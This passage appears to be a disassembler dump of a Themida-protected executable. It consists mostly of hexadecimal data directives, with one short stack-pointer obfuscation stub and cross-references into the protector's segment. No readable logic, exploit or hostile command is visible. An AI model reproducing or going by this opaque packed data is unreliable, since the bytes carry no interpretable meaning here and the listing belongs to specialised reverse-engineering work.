5F5BDFBFh, 5DE7C081h, 0DD8A0000h, 174CB9h, 0F108B00h dd 38Eh, 0F28B6600h, 8CEFEA81h, 0C281332Fh, 782E8224h dd 7C59EA81h, 8050717Bh, 895EB5D7h, 38E0F10h, 0F000000h dd 0E883D8B7h, 59DB8103h, 48476D04h, 133250BBh, 1E98333h dd 28850Fh, 12E80000h, 10000000h, 0DB116D8Fh, 0CA29B0C9h dd 17B559B3h, 95A95276h, 0E95FF9EAh, 31h, 1731A2C7h, 0D7327812h dd 0BE8F353h, 9D000000h, 4C9AEF64h, 0F8F334ABh, 94BB9E1Fh dd 5F77D266h, 0FFFF78E9h, 0A08C70FFh, 0B294BF1Ch, 7967B5A9h db 46h byte_5BACF1 db 0E9h, 16h, 0 ; DATA XREF: Themida_:0054DCC4o dd 212B0000h, 1972h, 4 dup(0) dd 0B36E9h, 0FA156800h, 3DE90616h, 68FFFA52h, 616FB0Bh dd 0FA5233E9h, 0FCE768FFh, 29E90616h, 68FFFA52h, 616FDE4h dd 0FA521FE9h, 0FF7C68FFh, 15E90616h, 68FFFA52h, 617012Dh dd 0FA520BE9h, 24068FFh, 1E90617h, 70FFFA52h, 0FDF0A557h dd 714411CBh, 8F5AA5Ch, 78451ACCh, 89FBA862h, 2AE4F6B9h dd 97518875h, 31E3FBCAh, 88429164h, 0FD8AD9DBh, 1DDF3D5Ah dd 5CAD5DFBh, 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h dd 0E12E5541h, 11B82F4Ah, 3F13CE85h, 0BE93C9D9h, 38C8h dd 0D60C7900h, 0A8C9751Ch, 621A48C2h, 45E2E08Bh, 0D5241DD8h dd 0A78DCE80h, 0FA87D8F7h, 9F518BE6h, 9F1E7220h, 365DAAF3h dd 9911B845h, 2DB38F2Ah, 1CBE93B8h, 0DFh, 0AC075C64h, 28D6FDB7h dd 82CE88DBh, 202FBC2Bh, 3517C845h, 0AA647C49h, 9D367723h dd 4140FA50h, 0DCF481F2h, 44C0CF22h, 0E99517C8h, 540E3DC8h dd 3DF10E5Dh, 2BA4822Eh, 0FB9ABD08h, 0CBBB17C8h, 0AFA4F1A2h dd 0A4FA0F5h, 7017C901h, 1F4A15Bh, 187918D2h, 105B522Ah dd 1DD905E2h, 951C4935h, 8DDED5A9h, 9130EAE0h, 0E8A2B542h dd 0C3B311B8h, 67F9CE8Fh, 1017CBA1h, 8FDE8D64h, 5501803Ah dd 0EEAF6960h, 5C09C317h, 10C21A67h, 0AA64764Fh, 1531B84Ch dd 4FE5E4E2h, 916h, 315E1047h, 7DD28CC4h, 2E631530h, 7ED385BFh dd 34611B2Fh, 9DAD7040h, 0A3FAEE3h, 9CB20350h, 1348B5EAh dd 59A80C59h, 0DF3E8BAEh, 7C2CCA1Dh, 754C065Ch, 44D67906h dd 8F7F17C8h, 352697CEh, 487C267Bh, 9A80531Ah, 0E2114A1Dh dd 36B43FAEh, 411DD84Ah, 4AE12E55h, 8511B849h, 0D93F13CEh dd 0C8BE93B3h, 0CEh, 4D075C20h, 29E3F746h, 573E59AAh, 0DCEB009h dd 1524CF1Eh, 4017C856h, 67BC0B54h, 1317C85Ah, 6C5906C0h dd 0B316BD77h, 7708F78Fh, 4C81D40Ah, 1B47F39Ah, 5F437552h dd 28D41DD8h, 205EBED9h, 1BD418A7h, 0D6840BC5h, 6D1F358Ah dd 0AEF7B866h, 0E09AB03Dh, 856C35E1h, 0A14EA5D9h, 17CAC28Eh dd 99E8D7C7h, 0F3938049h, 0EC124064h, 5571D0A9h, 481C28F0h dd 0DA7D0A79h, 7B0BA571h, 3283E28Bh, 0EE906620h, 32E215F0h dd 820992Fh, 0FE510000h, 0B2A6174Ch, 35AABF8h, 9BB10451h dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh dd 1A470152h, 9DBC479Ah, 0B81DDF3Fh, 65C6A1Eh, 0B5A6174Ch dd 2BD292ECh, 80D42438h, 75C87D3h, 0E4F7464Dh, 0CE74752Ah dd 66BC47B6h, 101DD855h, 3485145Fh, 83D011B8h, 9FC0944Eh dd 6B1AE995h, 0F49FC072h, 65BB6A5h, 0D6FDB7ABh, 0A9557C28h dd 0A7506FDh, 11B83467h, 81105BEEh, 0D411B834h, 4E877C28h dd 2849F59Ch, 0A15B703Dh, 56DFD522h, 0A21198FEh, 3C2F4C07h dd 88D781ADh, 0BC0FF6B7h, 13BA6C61h, 97663B67h, 0B8038A44h dd 8A719896h, 40F5B02Fh, 0B104510Bh, 9EE9E8A2h, 8A7198F4h dd 8D34EEE4h, 41AE0B40h, 8A71992Eh, 0A42B7727h, 0D2AC312h dd 45A12324h, 0E2BDE9BCh, 3E8D48E1h, 0CE522D84h, 856C4FD4h dd 3786DF80h, 2636A24h, 2CD9285Ch, 0FF92DD32h, 568A71D5h dd 52B1FAA6h, 81DFDBA5h, 33600C90h, 5FC80AEh, 71ECDC7Ah dd 0EC93838Ah, 51A88D9Fh, 43FD537Eh, 26D8ED3Ch, 32EBF4A7h dd 5811C024h, 0FA50147Ah, 8D4F2C51h, 0F6A512B1h, 0E742849h dd 0CC000004h, 3B5EA95Ah, 0AB17C845h, 8676FCB6h, 4C16F3CBh dd 0A19155h, 163CC5F0h, 341B235Fh, 0E6BA3952h, 55AE6C17h dd 1BF81DD9h, 0AF3CB2A3h, 0BC6E665Fh, 743D6915h, 0A6607300h dd 6C3F9AFAh, 0DE92C79Bh, 0BC766B70h, 0C63D6915h, 0BA145739h dd 1D948096h, 0DA0E21CEh, 57478A99h, 361C7D16h, 0FA45F4Eh dd 2EE0F629h, 0BFF9A753h, 27D6259Eh, 0A9557C2Eh, 0AFF6FF08h dd 0BB6B90ADh, 0ECA6B544h, 0B81546B7h, 86A52C4Bh, 81DC2984h dd 4E02B0CFh, 1AB96B61h, 26C2386Ch, 6A6934BEh, 644D167h dd 62750000h, 0BE12E3B0h, 675E4F04h, 0B70DE0B5h, 6D5D5005h dd 0A68EDEB3h dword_5BB168 dd 6035EFE3h, 0CD823C8Dh, 5F34E6E0h, 0CE833D8Eh, 61F07BCEh ; DATA XREF: Themida_:00571221o dd 0F41DDF41h, 1A48AE5Ah, 1AE08B62h, 0CD1DD856h, 345EF17Eh dd 7F711B8h, 0F6E5345Bh, 0F9EA953Ch, 18CD7140h, 0DA8807C1h dd 76CC3786h, 7117C844h, 8BBF2E85h, 0E6D590D1h, 0AAE7A95h dd 53F2F3EFh, 0A76DD160h, 0D798840Bh, 4C82DDEEh, 1B47F39Ah dd 4A0455A4h, 0BDD69743h, 22A15B70h, 0D59029B8h, 397CC86h dd 0C4A48E9Dh, 2D88Ch, 1A48D400h, 8BDC8B62h, 9231EBDEh dd 457E11E4h, 27D717C8h, 3D798186h, 2F21DDFh, 9EAD3CABh dd 4C7E11E4h, 84D711B1h, 0B14C58F7h, 4511FD11h, 85AA71Ch dd 0DDE49EADh, 0BD306531h, 5FACD38Dh, 11B14BCBh, 0B56F620Fh dd 0C63F600Eh, 6D273A95h, 0BE49B866h, 11B14B9Bh, 2096CABAh dd 0DC0A16EAh, 47FD9316h, 78000005h, 5F8AD5Fh, 794C19D3h dd 10DDB264h, 604D02B4h, 91E3B06Ah, 32ECDEA1h, 7F39905Dh dd 39EBE3D2h, 904A996Ch, 0E592E1C3h, 1DDF4252h, 48B56503h dd 348FC11Ah, 683C681Ah, 3DD6EE99h, 0E9951DDFh, 3CA4FD1Ah dd 57F0F701h, 0F4BD776Ah, 90DF90DFh, 0B22A54E3h, 0A2150111h dd 11B2298Fh, 6C2635C6h, 0C4EDB965h, 0B581241h, 0D0EFA9BAh dd 8AF55281h, 11B229E7h, 0ABD27E6Eh, 6C19D443h, 0BC51C77h dd 12980A57h, 3BE99D3h, 1E5h, 4D075C47h, 2AE4F746h, 0B6CE7475h dd 0F2A4BA47h, 857E1FCBh, 0D85AE0FAh, 0F897871Dh, 239CECA7h dd 3A4D3B29h, 5E396D27h, 415146F4h, 4BBCE5CBh, 11B81C28h dd 0E5EC9EB6h, 0F4EA3D98h, 226F0E42h, 0A14D742Eh, 0E0F6AF24h dd 0DF944D04h, 594DF90h, 5011B81Ch, 1C3E51A4h, 671711B8h dd 0DD369C46h, 3D27BE93h, 7B000000h, 0B2AB5Ah, 0C8E99BB3h dd 32810529h, 0D84543C5h, 4948341Dh, 0B84457FEh, 30C97811h dd 93B8CC52h, 4195E4BEh, 37F07FECh, 0B96511B8h, 0C66916EDh dd 8F11B837h, 0C81EBEDFh, 62000000h, 0FFB1AB5Ah, 0BA74675Eh dd 0C833C413h, 17C844A9h, 269FC0ACh, 6537A34h, 25741BD5h dd 0B2ED936h, 4A17C845h, 6E59065Ah, 17C84995h, 673CF6E5h dd 59A8DC82h, 0DAF509AEh, 144D481Dh, 0D385BF82h, 0D73B7770h dd 95C5348Bh, 5A3586DBh, 174BB13h, 0C318EDC4h, 93DC8A09h dd 90662032h, 0DC060524h, 0AFBB5150h, 0E0000003h, 8D6035E7h dd 0E1D4813Bh, 98653AECh, 0E8D58A3Ch, 196B38F2h, 0BA746629h dd 7C118E5h, 0C1736B5Ah, 78322194h, 0CD3AC92Bh, 1DDF43AAh dd 5C5D4DABh, 3B5EA906h, 0AB17C845h, 732301B3h, 0D21FD01Fh dd 5CFBC680h, 1C17C845h, 0A3AB3E12h, 96E54B5Bh, 0C88C46E9h dd 335F0F17h, 99CA3B6Ah, 5CE8B2DFh, 99764D07h, 25448CA3h dd 32E4E039h, 47963D5Eh, 16635A14h, 0DC8A09C3h, 63CFD293h dd 33E7A41Bh, 767D3413h, 0B03BC8E9h, 1DD8F8EAh, 217211FDh dd 4E543166h, 0AE0336ABh, 4CBBE496h, 11B9162Bh, 0E4EB9DB7h dd 38A4495h, 4A5C1586h, 378EDB5Ah, 2EC7DC85h, 3887FF63h dd 0C91FF5CBh, 0AB02F217h, 0F700E6D0h, 640D37A9h, 0B641B201h dd 0BA92EA3h, 7B2D21B2h, 0B1FAA654h, 4D075CF9h, 1BCD0776h dd 0EEA5C674h, 9DF2AC9Fh, 7F6E163Ch, 0A928DAF2h, 67549AFDh dd 15C781E9h, 0F60C774Ch, 711DD86Dh, 9AB1FE85h, 3511B842h dd 890FE37Eh, 78BE93B5h, 2Eh, 621A48D0h, 45E2E08Bh, 67241DD8h dd 90F1C8Eh, 80F4BD0Dh, 8BA2ED94h, 4411B855h, 98FED48Dh dd 89BE93A6h, 0BEh, 0DD97CB3Ah, 75CD694h, 0E3F7464Dh, 281E971Ah dd 0F4A0D00Ch, 914B80CDh, 0F6B0A3F2h, 0B1AB5AA9h, 0C42F80FFh dd 17C850B5h, 0FFA0F4A0h, 0C8563308h, 5A144717h, 0E9A3B805h dd 0A3DB87EAh, 0A0E09B4Ch, 0C59AB570h, 839FCE3h, 6BFB034Dh dd 76DBC542h, 20CC1DD8h, 0BCC06E73h, 80FBA45h, 463617CBh dd 1ED80A77h, 944E8471h, 15CBE816h, 972D2CE2h, 1FEh, 3966182Fh dd 85DA94CCh, 366B1D38h, 86DB8DC7h, 3C692337h, 0A5B57848h dd 1247B6EBh, 0A4BA0B58h, 0FB509DF2h, 41901441h, 0DF45A3B6h dd 6414B21Dh, 174C065Ch, 78D5E7A4h, 96DA956Ah, 0C88246E9h dd 335F0F17h, 8E489B6Ah, 0A95A99C1h, 0C8453B5Eh, 936A1A17h dd 0C84549E8h, 3F600C17h, 9F88CB2h, 20D20B7Ah, 5BACF5A1h dd 1DD845CDh, 88D3FAAAh, 11B844E5h, 9BA73EAh, 456A0D7Ah dd 3BEB11B8h, 0B7EA7072h, 502BE93h, 0C918E05Fh, 98446D63h dd 0CBh, 4D075CF0h, 29E3F746h, 4A045DAAh, 57417C8h, 0AE6879D4h dd 902F630Fh, 174CB9E2h, 0A6B5085Dh, 0DE84E5ECh, 57A857A6h dd 0C83F8DACh, 52045917h, 7BD320CCh, 391FA8C9h, 6E1DD853h dd 8FC22F7Eh, 0D8D98CD5h, 509B126Ah, 17CAE25Ah, 631D2DBCh dd 87EDAE5Ch, 226B2897h, 2D803BACh, 0B140C3ECh, 6918E7A1h dd 83F0BF79h, 0BA63DF4h, 0B9ECB561h, 5E5C164Ch, 0E215254Ah dd 0EB55EB6Eh, 1C000000h, 714411C3h, 0FDF0A55Fh, 7C4916C8h dd 14E1AE60h, 0DD4F04BEh, 86409215h, 3BF5ECD9h, 8D3F9766h dd 3CF6E5D8h, 89F68567h, 1DDF46E6h, 5C29D16Fh, 0A6174C06h dd 0AF045AB5h, 0C8453544h, 20742017h, 451326D1h, 524217C8h dd 5C0951FEh, 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DDF3D24h dd 0E1F5403Fh, 0A608464Ah, 5586D3FAh, 0E4F7C69Bh, 0A354A32Ah dd 0B2313958h, 2F701C11h, 175623D8h, 39F46731h, 269D578Ch dd 85468469h, 4CA257FAh, 330EFEF2h, 0B2FB4093h, 17D102F3h dd 4E0859A8h, 0B9DA832Fh, 0BFBE706Ch, 78036072h, 0F24CE8D9h dd 0BDC4907Ch, 1CA35570h, 0DB8A23B2h, 0CE99CD87h, 7A691CD5h dd 312293C0h, 1FC05877h, 21000000h, 0C7C678D4h, 0EB18521Bh dd 0C71A6718h, 4497BA0Dh, 0A24D17C8h, 17C8448Fh, 0AC58D6C6h dd 35CA703h, 0F0E33251h, 144A9736h, 0BB0E5B62h, 1F338201h dd 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h, 56945170h dd 0C6815E54h, 4, 8704EE83h, 565C2434h, 0C681E689h, 4 dd 4EE81h, 34870000h, 0C895C24h, 4B5C6824h, 3C890000h dd 0B7BE5624h, 0C140372Ah, 0D6F703EEh, 8305EEC1h, 0C681FFEEh dd 0FE573016h, 545EF189h, 83243C8Bh, 6F6804C4h, 8900004Ah dd 8B82404h, 1000000h, 580889F8h, 5F2434FFh, 8B04C483h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55FF58 ; --------------------------------------------------------------------------- dw 3C23h dd 24C287A4h, 0B831EC82h, 6170350h, 0E0FFC503h, 18BEBD69h dd 57AF6DB9h, 325BFC38h, 4BBBC928h, 3DD92A9Bh, 64D8E4CEh dd 5AEB6F8Ch, 3750FBA6h, 5962157Eh, 10EEE310h, 3F0DFB6h dd 271427BCh, 384ED538h, 6CC3B455h, 3F5ED3CBh, 4035F14Bh dd 6F635A60h, 1F35633Ah, 4EBD3B9Ch, 51FFC548h, 1B56B7Ah dd 0A43EC8Bh, 68D903F9h, 76B89713h, 5258D8Dh, 0B5890617h dd 6102859h, 9F58D89h, 6A0610h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 928AFFC3h, 231985C7h dd 66D40610h, 9D8B0000h, 61013C5h, 1069BD8Bh, 85C70610h dd 61022C1h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DEC35747h dd 0FB56A2CAh, 687BD5C1h, 68B0Fh, 0BD890000h, 6103335h dd 4E9B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 4B2726C3h, 5B36162Ch, 0D18589A7h dd 0FF061006h, 102DB995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 58225509h dd 0AD767896h, 0FF006AEBh, 1031C995h, 0EBC08B06h, 19B30A18h dd 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h dd 3F8D8DC1h, 6A061706h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0F5E9C353h, 0AF89788Fh dd 0B70F3850h, 0F58D89F2h, 6A061009h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DCEAC355h dd 0DD061A3h, 814F34D7h, 564EF6CFh, 1985C706h, 80061023h dd 6A000063h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 2923C351h, 58CFC68Bh, 80944CFDh dd 0F1BBEEF3h, 0C7739155h, 1022C185h, 6, 8BE7B400h, 10167185h dd 89B5FF06h, 8B06101Dh, 0B995FFF9h, 6A06102Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0BEFC352h, 98AF010Fh, 774DE174h, 14E9h, 0A0AC1C00h dd 372C1A7Ch, 711B1F9Bh, 0D93A7796h, 63EF2378h, 1D95232Dh dd 6A061002h, 0C995FF00h, 8B061031h, 822DEBC0h, 0BD04B873h dd 0FCCB6827h, 0F848FAC6h, 0A2D0B01Ah, 69CC6ED4h, 8DD8E6h dd 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h dd 7468D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 7FB844C3h, 89F78B66h, 1009F58Dh dd 1985C706h, 2C061023h, 80000060h, 85C78FF7h, 61022C1h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 29C35747h dd 563BD3A0h, 0B731C262h, 4E9B5FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 603BB5C3h dd 0FFC3B4CAh, 102DB995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4C1612BDh dd 13E96667h, 26000000h, 0F81297AAh, 65139864h, 0BCF6CBEAh dd 0C76F1EF8h, 6ADF0Ch, 31C995FFh, 0C08B0610h, 0D4D18EBh dd 0DA282172h, 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h dd 8E84967h, 10000000h, 8E2A84D5h, 93E12D5h, 102399B5h dd 0DA815806h, 2AFA599Ah, 6CB4C081h, 8E0F0000h, 6, 1F559D09h dd 6680610h, 8900001Bh, 100EB595h, 0BB665F06h, 308B6CBAh dd 81C8B70Fh, 7D6FD9F6h, 759D8B30h, 81061013h, 6C8FABF6h dd 91958913h, 8106100Dh, 3D983EEh, 2DCB8020h, 199D8956h dd 8F061006h, 83CB8B00h, 9E802E8h db 3 dup(0) byte_5BBC43 db 7Dh ; DATA XREF: Themida_:0054C1FCo dd 232AF3FEh, 0FFC0B9A1h, 7D5BD89h, 485A0610h, 0CE948h dd 71810000h, 0E6399E1Ch, 932D8068h, 0EF8149FEh, 1, 0FF98850Fh dd 0E8F5FFFFh, 9, 8644B2B1h, 0A1101F6Ah, 8D8D8BA8h, 5F061000h dd 813AD780h, 5A35C7h, 0FD8D8900h, 0BA06101Fh, 5D08FD0h dd 99B2F281h, 816605D0h, 8B5FADDBh, 45BD8937h, 81061008h dd 65E1BDF6h, 99858B17h, 81061022h, 5C1242EEh, 68E0F2Ch dd 8B000000h, 100A219Dh, 0E4C68106h, 8016375Bh, 378909E1h dd 1DD18589h, 0EF830610h, 8860F02h, 0F000000h, 28Bh, 4F5B5000h dd 7DB5894Fh, 81061032h, 1EAh, 15850F00h, 23000000h, 100BB585h dd 1BE906h, 0F6F60000h, 932A0331h, 548F814Dh, 5226BB66h dd 0FFFF86E9h, 1A0F5EFFh, 3C38EDBDh, 608D8D6Bh, 89061709h dd 10239DBDh, 0F58D8906h, 31061009h, 102A959Dh, 0C7F88B06h dd 10231985h, 6A0C06h, 8DBD8900h, 0C7061022h, 1022C185h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 53293B1Ch, 3C5C475Dh, 0B5FFF9AFh dd 610232Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0D1C35545h, 881B38D2h, 8BFAD22Bh, 102D9DBDh, 95FFFC06h dd 6102DB9h, 6800Fh, 0B5330000h, 6100115h, 95FF006Ah, 61031C9h dd 79EBC08Bh, 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h dd 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h dd 0E251FB46h, 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h dd 68D26195h, 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h dd 84E8CD6h, 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h dd 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h dd 0F320EB11h, 9D8D8DA4h, 6A06170Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 66F1C350h dd 8983B0BEh, 1009F58Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 2620980Bh, 0DBC38044h dd 231985C7h, 5E240610h, 0C7F90000h, 1022C185h, 6, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 67BAE7F9h, 0B5FFF674h, 6101B25h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 8C35343h, 1BB703BDh, 0FB8B866h dd 2DB995FFh, 0BF0F0610h, 0FF006AC3h, 1031C995h, 0EBC08B06h dd 86D9E019h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h dd 0A02F7090h, 8D8DC6D9h, 6170B2Fh, 89E3C480h, 1009F58Dh dd 0C78CB606h, 10231985h, 6CD406h, 68D0F00h, 81000000h dd 0A2B23FF3h, 0C185C772h, 61022h, 0F000000h, 388h, 0FFB70F00h dd 0EA5B5FFh, 0BF0F0610h, 0B995FFC1h, 6A06102Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 56F6C357h, 31C19589h, 6A580610h, 0C995FF00h, 8B061031h dd 2A1AEBC0h, 0AD6136ACh, 4FF4259Ch, 0B5F2368h, 562C8B1Fh dd 3F55C49Dh, 679FC019h, 0FE883h, 0AF800000h, 6B4F8DA1h dd 7446EF40h, 4A0A407h, 880F65h, 58000000h, 816DD780h dd 67EEC0h, 0DCBAF900h, 8B000019h, 2BE6608h, 7EE981F5h dd 8A303840h, 77C181F9h, 8B28DB84h, 1015F59Dh, 92E98106h dd 0F5A4AACh, 0C89h, 68C0F00h, 0F000000h, 81h, 0BF0F5100h dd 81008FFFh, 0BE79BE8h, 19D8B04h, 81061024h, 0BE797C0h dd 0EDB58904h, 4A06100Dh, 0FFA9850Fh, 8529FFFFh, 61006A1h dd 0CA88D8Dh, 81660617h, 898DCAE7h, 1009F58Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 7782F18Dh, 48896B86h, 0E7802621h, 85C7F58Bh, 6102319h dd 6EE4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0FEC35141h, 6542C434h, 95898A23h, 6100F2Dh, 22C185C7h dd 610h, 8D310000h, 610327Dh, 11EDB5FFh, 0E9600610h, 14h dd 0DD4CD498h, 49DB912Bh, 60734AE7h, 0DE4ECA92h, 0AB268152h dd 6AF18151h, 5B166E2Ch, 0B995FF61h, 6A06102Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 4459C357h, 0F82C8927h, 95FF006Ah, 61031C9h, 68EBC08Bh dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8C66B3A9h dd 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h, 0D7D1544Dh dd 2A16AE8h, 87210B79h, 7B132679h, 8680BB3Eh, 0BB92639Eh dd 0C60194A4h, 0F2A94955h, 0BDC11374h, 770932C2h, 7332FC37h dd 0E02D2768h, 0AE8h, 0FF46B800h, 0BB6F4236h, 58DDB6A3h dd 11E99D23h, 0C0810610h, 6882h, 2BD2BF0Fh, 19533FFh, 0FF061001h dd 0BE90734h, 51000000h, 0E9B68D7h, 657914C6h, 8A59E8E8h dd 10E981FDh, 6057A982h, 0DD19D89h, 0B58B0610h, 61013E1h dd 35E98161h, 8B348E5Ch, 101C89B5h, 46E98106h, 8B7923FEh dd 10348D9Dh, 0B5895106h, 6100715h, 0E938048Fh, 11h, 0B5AEF67Dh dd 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah, 49B5898Fh, 81061009h dd 0AB89E6EFh, 9D09606Bh, 61008C1h, 0C78161F9h, 6BAB89E2h dd 0CAEB8160h, 615145F7h, 9854FF81h, 850FFFFFh, 0Dh, 0E9F38B66h dd 1Fh, 98C78BB8h, 4985891Ch, 0E9061009h, 0FFFFFF57h, 1A0C7A3h dd 0E3A3565Ah, 0AEF52EF7h, 0E8C0DA3Ah, 12h, 1B4893B7h dd 702DF7F8h, 49E80C62h, 0FA26DC6h, 8B50E73Eh, 10084D9Dh dd 505E5806h, 880F57h, 58000000h, 4CC6815Bh, 3100006Ch dd 101E819Dh, 1AE36806h, 858B0000h, 6102321h, 0E9606059h dd 9, 53DF443h, 2B8CC93Fh, 8B0F26h, 61000000h, 6880Fh dd 0D7810000h, 77288C1Dh, 0E936FF61h, 0Dh, 88268C4Eh, 9E1DC3CCh dd 76AACFC8h, 8B605AEFh, 1008E595h, 0D18D8B06h, 61061019h dd 0B5E8F281h, 8A0F5ED9h, 5, 0FACFBFBBh, 0C9F28178h, 8B1D0E38h dd 100E4D9Dh, 97F28106h, 53064363h, 0C5705ABFh, 16895F4Ch dd 5919D29h, 0EE830610h, 5B86604h, 850F49FEh, 0FFFFFF9Dh dd 2CE9h, 2A224400h, 2Ah, 9 dup(0) dd 5BCE900h, 8F3F0000h, 6309904Ch, 8429B02Ch, 63088F4Bh dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h, 8E4A8529h dd 0AF2B6007h, 79C9C0BCh, 9D6BDB72h, 79327440h, 97395044h dd 8E3408BDh, 0D7536F53h, 0A760DB05h, 0F3A27E72h, 6DCC7C4Fh dd 0FFEF2AE0h, 0C2FFA423h, 40752EA5h, 46F1DA54h, 5A3619A4h dd 0D1711832h, 356DCCF0h, 0F0972439h, 0E675C7BBh, 130F0342h dd 90C77D36h, 5BFAC9E4h, 3105BC7Fh, 0D551457Ah, 0A85FDCF1h dd 8A40B773h, 0A65CDB4Fh, 0F6C5B76Bh, 7D361352h, 978BCCh dd 66651148h, 0FC37EBBFh, 0F6AD2CD8h, 4AE99AC1h, 8E25DC86h dd 14C803A7h, 0D7A9DE85h, 6F235E04h, 111C42EAh, 92AE8DB2h dd 25A2C9B5h, 0EA6DCC6Bh, 0EEBF3AD9h, 0CE336B1Eh, 47h dd 4479323Ch, 7CBB0950h, 0F0846DCCh, 7CA71B0Eh, 0E33F6DCCh dd 5B9E3506h, 336B3592h, 172h, 7A32D800h, 5EDD4F43h, 0DB574ABh dd 0E96DCC7Ch, 0C794698Dh, 9F36EA21h, 0A8C3AFECh, 13B97817h dd 32D960DCh, 32AB41FDh, 0D9533F7Eh, 7CBE0407h, 0DE8F6DCCh dd 958DE99Dh, 51F7C499h, 0B96F661Ah, 7C259D8Ch, 65C16DCCh dd 97889581h, 5658BCB1h, 61964D0Ch, 0AA9FAB5h, 916FD1C6h dd 0CC13289Ah, 7B50CC6Dh, 0ECD09A8h, 4691D58h, 93E1FA76h dd 0D4A9CD72h, 0E1D6507h, 0C2484993h, 0A27C3014h, 4C387317h dd 9F4813E8h, 6A1FB66Ah, 5F144531h, 61DC25C0h, 8D4C336Ah dd 8DE99DDAh, 4B5C0860h, 0A2B718B1h, 6A2Eh, 7E329C00h dd 8D34533Fh, 0B60DA054h, 3372161Fh, 0D4C0077h, 52392719h dd 6DCC7CF0h, 78431814h, 0B9EA96D3h, 538E6B0Ah, 0C3336B34h dd 5FA568Ah, 0DECDD3A1h, 92334864h, 0ABC0A480h, 5345h dd 7E328700h, 7D9533Fh, 7C9032D9h, 0F8746DCCh, 0CC7CB111h dd 4D9556Dh, 0AC589337h, 52D37251h, 0EC9A569Eh, 59130FC1h dd 0D72BC17Dh, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0C39F6DCCh dd 40772DA6h, 7CB80554h, 407F6DCCh, 356944A1h, 149336Bh dd 0C3000000h, 4E427B32h, 6EA95DDCh, 0EB29E259h, 0FDF4DD67h dd 0E722C8F3h, 371B373Bh, 0BAA594Bh, 0FCAF832Ah, 734FD3BFh dd 9A4B6AB7h, 0CC0B53EFh, 0FA37EC6Dh, 0FEAF2602h, 0C4C799BDh dd 67FC7127h, 9D8F83DFh, 117AC8C3h, 2CD3943Ch, 77270BF7h dd 0AE55DEFBh, 0F2DBC579h, 95A1FAB2h, 41FACF9Ah, 0FAA1558Ah dd 943CB74Ah, 3D993807h, 6E8BCA7Eh, 0F7093EE5h, 9185BC64h dd 77FEB895h, 0F0E79BD0h, 0A51D0C37h, 41943CB7h, 381501E5h dd 0FEA58C23h, 874A15C9h, 67397A6Ah, 176h, 6468759h, 159E4DE8h dd 436FD3C2h, 1087943Ch, 0C681C5Dh, 0D73913E8h, 0E2EEC4A9h dd 56A00A69h, 0CCB613AFh, 8A81F36Dh, 6DCCB638h, 876480DCh dd 0E2FCDFF6h, 0FCEC1227h, 8C78F467h, 0B346B9B2h, 44FB1819h dd 0BEF3AC27h, 3A9300Ah, 7B24AFCCh, 0F1373446h, 652B6694h dd 675E203Dh, 0EA718BC0h, 81BA6F43h, 98B59195h, 3BEFE6h dd 94D37514h, 2BCA79E0h, 0C990E8A5h, 393DE926h, 41E07F24h dd 26D9558Ah, 397A5ECBh, 0D452123Bh, 5582B96Fh, 